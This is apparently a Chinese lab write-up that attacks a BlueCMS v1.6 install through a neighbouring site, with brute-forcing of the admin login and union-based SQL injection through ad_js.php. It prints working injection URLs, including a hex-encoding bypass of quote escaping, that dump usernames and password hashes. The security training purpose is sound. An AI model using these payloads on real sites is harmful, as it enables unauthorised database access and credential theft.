(1)bluecms旁注漏洞练习

(2)为什么旁站攻击可以拿下主站?

(3)跨库的意思是什么?

1 实验环境

软件名称版本部署方式IP
bluecmsv1.6 sp1phpStudy源码部署172.31.5.1

将bluecms源码放入phpstudy网站目录中

image-20230312155138770

访问安装链接进行安装

http://172.31.5.1/bluecms/uploads/install/

image-20230312155603361

点击下一步,返回空白页面。说明安装成功

image-20230312155707951

2 旁注简介

2.1 原理

在渗透测试过程中,如果正面难以突破,那么就采用一些迂回战术,从侧面来进行。也就是采用一些间接的方法,例如旁注,通过旁站来进行渗透。

**什么是旁注?**在同一服务器上有多个站点,我们要攻击的这个站点假设没有漏洞,我们可以攻击服务器上的任意一个站点,这个就是旁注。(假设A网站和B网站在同一个服务器上,攻击A网站,但是A网站没有漏洞,B网站有漏洞,这时可以通过攻击B网站找到服务器)

什么是跨库?跨库查询是指由于权限设置不严格,导致普通帐号被授予过高的权限,从而使得其可以对其他的数据库进行操作。比如,在mysql中,informatin_schema 这个表默认只有root有权限进行操作。但是如果一个普通账户权限过高后,他便可以对该数据库进行操作,从而拿到整个数据库的信息。

2.2 示例

假如在某次渗透测试过程中我们发现主站难以攻破,通过子域名发现存在旁站bluecms,于是通过旁站来进行攻击:

2.2.1 发现管理页

打开bluecms主页 ,尝试登录admin账号,密码任意输入。

http://172.31.5.1/bluecms/uploads/

image-20230312160536731

点击登录,发现提示:

image-20230312160613625

猜测该网站有后台管理页面,通过站点扫描成功找到后台登录页面

http://172.31.5.1/bluecms/uploads/admin/login.php?act=login

image-20230312160841344

2.2.2 爆破管理员密码

使用admin账号尝试多次密码,账号未被锁定,且没有验证码功能。通过爆破获得密码admin

使用账号admin/admin成功登录后台

image-20230312161421713

2.2.3 发现注入点

浏览后台,发现一个功能:获取js

image-20230312161710756

点击获取js,得到一个链接

http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=1

image-20230312161829746

2.2.4 sql注入拿到账号

修改id值为-1 order by 1,发现成功执行。可能是一个注入点

image-20230312164947439

直接使用order by 进行注入,多次尝试后,得到列数为7( 8报错)image-20230312163043732

image-20230312163103618

使用union关键字注入(注意这里可能由于环境原因导致没有回显,使用火狐浏览器,点击箭头所指处可获得结果)

扩展链接:怪异模式和标准模式

image-20230312170531947

获得数据库名bluecms

image-20230312170613136

获得用户名

image-20230312170720048

获得当前库中的所有表

http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20230312171144562

注入blue_user表中的字段,发现报错,这里有过滤,单引号前面出现 \ ,证明单引号被转义了

http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union
select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'

image-20230312171642303

使用16进制进行绕过(blue_user 16进制编码为 0x626c75655f75736572 ):

http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572

获取到blue_user表中的字段

image-20230312172536847

注入bluecms库中blue_user表中user_name以及pwd的字段内容(0x20 是空格的十六进制表示):

http://172.31.5.1/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,concat_ws(0x20,user_name,pwd) from blue_user

image-20230312173058977

至此,就拿下了该系统的整个数据库。后面就可以考虑跨库了(这里不做演示)